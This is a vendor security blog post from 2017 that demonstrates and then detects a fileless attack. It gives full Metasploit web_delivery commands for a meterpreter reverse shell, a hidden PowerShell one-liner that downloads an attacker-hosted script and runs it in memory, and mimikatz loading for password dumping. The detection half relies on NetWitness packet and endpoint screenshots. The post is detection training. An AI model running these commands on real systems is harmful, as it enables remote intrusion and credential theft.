---
title: Fileless Infection (and Detection)
description: Fileless infection is a method used to compromise a system without writing any file to disk. This allows to remain stealthy and avoid detection from s
---

- [Home](https://mydev.netwitness.com/home)
- Integrations 
    - [Netwitness Platform Integrations](https://mydev.netwitness.com/netwitnessplatformintegrations)
    - [Third Party Integrations](https://mydev.netwitness.com/thirdpartyintegrations)
- [Knowledge Center](https://mydev.netwitness.com/knowledge-base)
- Community 
    - [Blogs](https://mydev.netwitness.com/netwitness-security-llc-blog)
    - Discussions
- Customers 
    - [Manage Products and Licenses](https://mydev.netwitness.com/nwportal)
    - Downloads
- Partners 
    - [Partner Program](https://mydev.netwitness.com/partner)
    - [Partner Resources](https://mydev.netwitness.com/partnerresources)
    - [Submit a New Deal Registration](https://mydev.netwitness.com/dealregistration)
    - [Become a Partner](https://mydev.netwitness.com/becomeapartner)
    - [Update Your Partner Locator Profile](https://www.netwitness.com/partner-locator/?utm_source=pardotnewsletter&utm_medium=email&utm_campaign=partner_march)
    - [NetWitness LinkedIn Partner Hub](https://linkedin.com/showcase/netwitnesspartners/)
- Education 
    - [Instructor Led Training Schedule](https://mydev.netwitness.com/instructorledtrainingschedule)
    - [NetWitness Training Catalog](https://mydev.netwitness.com/netwitnesstrainingcatalog)
    - [Security Awareness Training](https://mydev.netwitness.com/securityawarenesstraining)
    - [New Product Readiness](https://mydev.netwitness.com/newproductreadiness)
    - [On-Demand Virtual Labs](https://mydev.netwitness.com/ondemandvirtuallabs)
    - [Additional Training Information](https://mydev.netwitness.com/additionaltraininginformation)
    - [Frequently Asked Questions](https://mydev.netwitness.com/educationfaq)
    - [Contact NetWitness Education Team](https://mydev.netwitness.com/contact-netwitness-education-team)
- Support 
    - [Contact Support](https://mydev.netwitness.com/contact-support)
    - [Create a New Case](https://mydev.netwitness.com/create-support-case)
    - [View My Cases](https://mydev.netwitness.com/viewmycase)
    - [Product Version Life Cycle](https://mydev.netwitness.com/product-version-life-cycle)
    - [Warranty & Replacement Parts](https://mydev.netwitness.com/warranty-and-replacement-parts)
    - [Community Support Forum](https://mydev.netwitness.com/community-support-forum)
    - [Technical Support Guide](https://mydev.netwitness.com/technical-support-guide)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

# Fileless Infection (and Detection)

- Home
 */*- [Netwitness blogs](https://mydev.netwitness.com/netwitness-security-llc-blog)
*/*- fileless infection (and detection)

 21 Feb, 2017

**Author:** HalimAbouzeid

Fileless infection is a method used to compromise a system without writing any file to disk. This allows to remain stealthy and avoid detection from some antiviruses, EPP and EDR solutions that are file based for detection.

We will look at:

- How to perform the attack
- How to detect it with RSA NetWitness

## Testing the Attack

The following is an example of how to perform such an attack, gaining a Meterpreter shell on the victim’s machine using Metsaploit (on the attacker’s side) and Powershell (on the victim’s side) without writing anything to disk.

I am using Kali Linux as the Attacker and Windows 7 as the victim.

1st we need to run Metasploit:

> msfconsole

![msfconsole.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25479iE84883B7CA88512E.png "msfconsole.PNG")

To deliver the PowerShell script, we will use exploit/multi/script/web\_delivery

> use exploit/multi/script/web\_delivery  
> info

![description.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25482iD5FAF22A18D45135.png "description.PNG")

Metasploit would generate the ps1 file, start a webserver and host it for delivery. We will use PowerShell on the victim’s machine to download the script and meterpreter payload, and load it directly into memory without writing anything to disk.

Now we will look at the parameters that need to be configured:

> show options

![webdelivery.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25485i86DEEC62C11D629F.png "webdelivery.PNG")

We need to:

- Set “Target” to 2 for PSH (PowerShell)
- Set “LHOST” to the IP of the attacker (in my case, 192.168.1.3)
- Set the payload we want to use to get the reverse shell (I will use windows/meterpreter/reverse\_tcp)

> set target 2  
> set LHOST 192.168.1.3  
> set payload windows/meterpreter/reverse\_tcp

![options.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25483i0837679B9C3EB9B5.png "options.PNG")

We can now execute the payload:

> exploit -j

![exploit.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25487i4786FD6CD0DAD8E8.png "exploit.PNG")

To gain reverse shell on the victim, we just need to execute the following command (no malware installed, nothing will be written on disk, it will all happen from memory) by replacing the URL at the end with the one provided in the output of Metasploit under “Local IP” (with your IP address and the correct randomly generated filename):

> powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=\[Net.WebRequest\]::GetSystemWebProxy();$k.Proxy.Credentials=\[Net.CredentialCache\]::DefaultCredentials;IEX $k.downloadstring(‘ [http://192.168.1.3:8080/VpBSRDO');](https://community.rsa.com/external-link.jspa?url=http%3A%2F%2F192.168.1.3%3A8080%2FVpBSRDO%27%29%3B)

![victim.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25488i85AF44824DFCC977.png "victim.PNG")

We can now see that we have an active session in Metasploit.

> sessions

![delivered.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25480iBF260D393C62CA7B.png "delivered.PNG")

We could then load mimikatz in memory to dump passwords, without touching the disk.

> session -i 1
> 
> load mimikatz

## Detection

Visibility and detection of such attacks is possible using RSA NetWitness Packets and RSA NetWitness Endpoint.

## Using RSA NetWitness Packets

Reconstruction of the initial PowerShell script based on full packet capture from the network traffic:

![packets1.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25477iBCB73FDC7C0022EF.png "packets1.PNG")

Reconstruction of the Meterpreter payload based on full packet capture from the network traffic:

![packets2.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25481i0944B4F7D7623D32.png "packets2.PNG")

## Using RSA NetWitness Endpoint

Using RSA NetWitness Endpoint, it is possible to also have the needed visibility to detect this type of attack even when the network traffic is encrypted, using memory and module behavior analytics on the endpoint.

Suspicious Threads detected showing that PowerShell.exe loaded a DLL in memory (Meterpreter):

![suspicious threads.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25484i9706A777F47935E1.png "suspicious threads.PNG")

By doing static analysis on the in-memory modules, we can try to identify them. We can see strings related to mimikatz in one of the modules:

![mimikatzmodule.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25489i9880B44ED1A9E7DD.png "mimikatzmodule.PNG")

And the IP address and Port Number used by the Meterpreter payload hard coded in the second module:

![meterpretermpdule.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25490iAA0975433DF9DF25.png "meterpretermpdule.PNG")

We can also see suspicious behaviors and IOCs that have been triggered for PowerShell:

![powershelliocs.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25478iE44C4A5A0EAB9654.png "powershelliocs.PNG")

We can also track the behavior of the different processes on the victim’s machine to see how the attack is performed and what commands the attacker has issues after gaining access. In this case:

- the initial PowerShell command to grab the hosted PowerShell script and load it in memory
- the executed PowerShell script with all parameter that load the Meterpreter payload in memory
- the commands executed by the attacker after he gains access (whoami, hostname, ipconfig, netstat -an)

![tracking.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/25486iB4E61027FC04EE94.png "tracking.PNG")

 Topic:

[0 Comment](https://mydev.netwitness.com/netwitness-security-llc-blog/filelessinfection-anddetection#comments-listing)

###### CATEGORIES

- All
- [Blog](https://mydev.netwitness.com/netwitness-security-llc-blog/tag/blog)

##### RECENT POST

[Netwitness Platform Integration with AWS Application Load Balancer Access logs](https://mydev.netwitness.com/netwitness-security-llc-blog/netwitnessplatformintegrationwithawsapplicationloadbalanceraccesslogs)

 23 Jul, 2024

[The Sky Is Crying: The Wake of the 19 JUL 2024 CrowdStrike Content Update for Microsoft Windows and We Should Take Away From It](https://mydev.netwitness.com/netwitness-security-llc-blog/715124)

 20 Jul, 2024

[DDoS using BotNet Use Case](https://mydev.netwitness.com/netwitness-security-llc-blog/ddosusingbotnetusecase)

 7 May, 2024

[NetWitness Platform](https://www.netwitness.com/)

[Acceptable Use Policy](https://www.netwitness.com/wp-content/uploads/Acceptable-Use-Policy-092022.pdf) [Privacy Statement](https://www.netwitness.com/wp-content/uploads/NetWitness-Privacy-Statement-07292024.pdf)

![NetWitness Logo](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/netwitness-logo-RGB-white%201.png)

[![LinkedIn](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/linkedin.png)](https://www.linkedin.com/company/netwitness-platform/) [![YouTube](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/Youtube.jpg)](https://www.youtube.com/@netwitness)

© 2026 NetWitness LLC. All rights reserved.

```json
{
  "@context" : "https://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "HalimAbouzeid",
    "url" : "https://mydev.netwitness.com/netwitness-security-llc-blog/author/halimabouzeid"
  },
  "dateModified" : "2026-03-20T11:51:29.291Z",
  "datePublished" : "2017-02-21T05:00:00.000Z",
  "headline" : "Fileless Infection (and Detection)",
  "mainEntityOfPage" : {
    "@id" : "https://mydev.netwitness.com/netwitness-security-llc-blog/filelessinfection-anddetection",
    "@type" : "WebPage"
  },
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "url" : "https://mydev.netwitness.com/hubfs/netwitness-logo-CMYK.jpg"
    }
  }
}
```